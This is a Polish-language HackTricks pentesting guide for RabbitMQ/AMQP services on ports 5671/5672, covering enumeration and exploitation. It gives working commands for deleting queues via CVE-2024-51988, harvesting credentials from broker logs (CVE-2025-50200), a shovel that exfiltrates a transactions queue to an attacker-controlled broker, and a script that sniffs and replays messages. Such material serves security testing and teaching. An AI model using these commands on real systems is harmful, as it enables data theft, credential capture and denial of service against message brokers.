5671,5672 - Pentesting AMQP
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Z cloudamqp:
RabbitMQ to oprogramowanie do kolejkowania wiadomości znane również jako broker wiadomości lub zarządca kolejek. Mówiąc prosto; jest to oprogramowanie, w którym definiuje się kolejki, do których aplikacje łączą się, aby przekazać wiadomość lub wiadomości.
Wiadomość może zawierać dowolny rodzaj informacji. Na przykład może zawierać informacje o procesie lub zadaniu, które powinno zostać uruchomione w innej aplikacji (która może się znajdować nawet na innym serwerze), albo może to być po prostu zwykła wiadomość tekstowa. Oprogramowanie zarządcy kolejek przechowuje wiadomości, aż aplikacja odbiorcza połączy się i pobierze wiadomość z kolejki. Następnie aplikacja odbiorcza przetwarza wiadomość.
Definicja pochodzi z .
Domyślny port: 5672,5671
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
- Domyślne dane logowania:
guest:guest. RabbitMQ ogranicza je do localhost przezloopback_users, ale wiele obrazów Docker/IoT wyłącza tę kontrolę, więc zawsze testuj zdalne logowanie zanim założysz, że jest zablokowane. - Mechanizmy uwierzytelniania: PLAIN and AMQPLAIN są włączone domyślnie, ANONYMOUS jest mapowany na
anonymous_login_user/anonymous_login_pass, a EXTERNAL (x509) może być wystawiony, gdy TLS jest włączony. Wypisz (enumerate) to, co broker reklamuje, żeby wiedzieć, czy warto później spróbować password spraying lub certificate impersonation.
Enumeracja
Ręczne
import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)
Po uwierzytelnieniu dump conn.server_properties, conn.channel_max i conn.frame_max, aby zrozumieć ograniczenia przepustowości i czy możesz wyczerpać zasoby za pomocą zbyt dużych ramek.
Automatyczne
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
| amqp-info:
| capabilities:
| publisher_confirms: YES
| exchange_exchange_bindings: YES
| basic.nack: YES
| consumer_cancel_notify: YES
| copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
| information: Licensed under the MPL. See http://www.rabbitmq.com/
| platform: Erlang/OTP
| product: RabbitMQ
| version: 3.1.5
| mechanisms: PLAIN AMQPLAIN
|_ locales: en_US
Sprawdzenia TLS/SASL
- Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null
Ujawnia łańcuch certyfikatów, obsługiwane wersje TLS oraz informację, czy wymagany jest mutual TLS.
- List listeners bez creds:
rabbitmq-diagnostics -q listeners
Przydatne, gdy uzyskasz low-priv shell access do hosta.
- Spot ANONYMOUS logins: jeśli broker zezwala na mechanizm ANONYMOUS SASL, spróbuj połączyć się z pustą nazwą użytkownika/hasłem; RabbitMQ wewnętrznie przypisze cię do
anonymous_login_user(domyślnieguest).
Brute Force
Wskazówki dotyczące eksploatacji
Usuwanie kolejek bez uprawnień configure (CVE-2024-51988)
RabbitMQ ≤ 3.12.10 (i niezałatane buildy Tanzu) nie sprawdzają uprawnienia configure przy usuwaniu kolejek przez HTTP API. Każdy uwierzytelniony użytkownik z dostępem do docelowego vhosta może zniszczyć dowolne kolejki nawet jeśli ma tylko prawa read lub write.
# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing
Połącz to z rabbitmqadmin list permissions, aby znaleźć vhosty, w których twój low-priv user ma częściowy dostęp, następnie usuń kolejki, by wywołać denial of service lub uruchomić mechanizmy kompensujące obserwowane po stronie AMQP. Sprawdź 15672 pentesting dla więcej HTTP API endpoints do połączenia z tym bugiem.
Zbieranie poświadczeń z logów RabbitMQ (CVE-2025-50200)
Aż do wersji 4.0.8/4.1.0, wywołanie management API z HTTP basic auth dla nieistniejącego zasobu powoduje, że broker loguje cały nagłówek Authorization (base64). Jeśli uzyskasz ograniczony dostęp do filesystemu (np. Docker escape, plugin RCE), przeszukaj /var/log/rabbitmq/rabbit@*.log pod kątem Authorization: i odzyskaj poświadczenia dla innych tenantów lub kont serwisowych.
curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d
Wywołaj to celowo fałszywymi endpointami, aby wprowadzić nowe sekrety do logów, a następnie pivotuj, ponownie wykorzystując zdekodowane creds przez AMQP, STOMP, MQTT lub sam OS.
Weaponize rabbitmqadmin-ng
rabbitmqadmin v2 (aka rabbitmqadmin-ng) to samodzielny CLI, który komunikuje się z management API i teraz udostępnia statycznie linkowane binaria dla Linux/macOS/Windows. Umieść je na swoim bounce box i zautomatyzuj:
# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen
Ponieważ narzędzie obsługuje blue/green aware health checks, możesz także nadużyć rabbitmqadmin health_check port_listener --port 5672, aby zdalnie potwierdzić, czy TLS listeners zostały wystawione lub aby utrzymać usługę zajętą dla timing probes.
Message hijacking/sniffing
Jeśli znajdziesz luźne polityki (.* bindings, topic exchanges, lub x-queue-master-locator = min-masters), możesz cicho przechwytywać wiadomości bez ich usuwania:
import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)
Zamień routing key na audit.# lub payments.*, aby skupić się na wrażliwych przepływach, a następnie ponownie opublikuj sfałszowane wiadomości, odwracając argumenty basic_publish — przydatne do replay attacks przeciwko downstream microservices.
Other RabbitMQ ports
W https://www.rabbitmq.com/networking.html możesz znaleźć, że rabbitmq używa kilku portów:
- 1883, 8883: (MQTT clients bez i z TLS, jeśli MQTT plugin jest włączony. Learn more about how to pentest MQTT here.
- 4369: epmd, usługa wykrywania peerów używana przez węzły RabbitMQ i narzędzia CLI. Learn more about how to pentest this service here.
- 5672, 5671: używane przez klientów AMQP 0-9-1 i 1.0 bez i z TLS
- 15672: HTTP API klienci, management UI i rabbitmqadmin (tylko jeśli management plugin jest włączony). Learn more about how to pentest this service here.
- 15674: STOMP-over-WebSockets klienci (tylko jeśli Web STOMP plugin jest włączony)
- 15675: MQTT-over-WebSockets klienci (tylko jeśli Web MQTT plugin jest włączony)
- 15692: Prometheus metrics (tylko jeśli Prometheus plugin jest włączony)
- 25672: używany do komunikacji między węzłami i narzędziami CLI (Erlang distribution server port) i przydzielany z zakresu dynamicznego (ograniczony domyślnie do jednego portu, obliczanego jako AMQP port + 20000). Jeśli połączenia zewnętrzne na tych portach nie są naprawdę konieczne (np. klaster używa federation lub narzędzia CLI są używane na maszynach poza podsiecią), te porty nie powinny być publicznie wystawione. Zobacz networking guide po szczegóły. Tylko 9 z tych portów jest otwartych w internecie.
- 35672-35682: używane przez narzędzia CLI (Erlang distribution client ports) do komunikacji z węzłami i przydzielane z zakresu dynamicznego (obliczane jako server distribution port + 10000 do server distribution port + 10010). Zobacz networking guide po szczegóły.
- 61613, 61614: STOMP clients bez i z TLS (tylko jeśli STOMP plugin jest włączony). Mniej niż 10 urządzeń z tym portem otwartym i głównie UDP dla węzłów DHT.
See also
Shodan
AMQP
References
- CloudAMQP – RabbitMQ for beginners
- RabbitMQ Networking Guide
- RabbitMQ Authentication, Authorisation & Access Control
- CVE-2024-51988 – RabbitMQ HTTP API queue deletion bug
- GHSA-gh3x-4x42-fvq8 – RabbitMQ logs Authorization header
- rabbitmqadmin v2 (rabbitmqadmin-ng)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


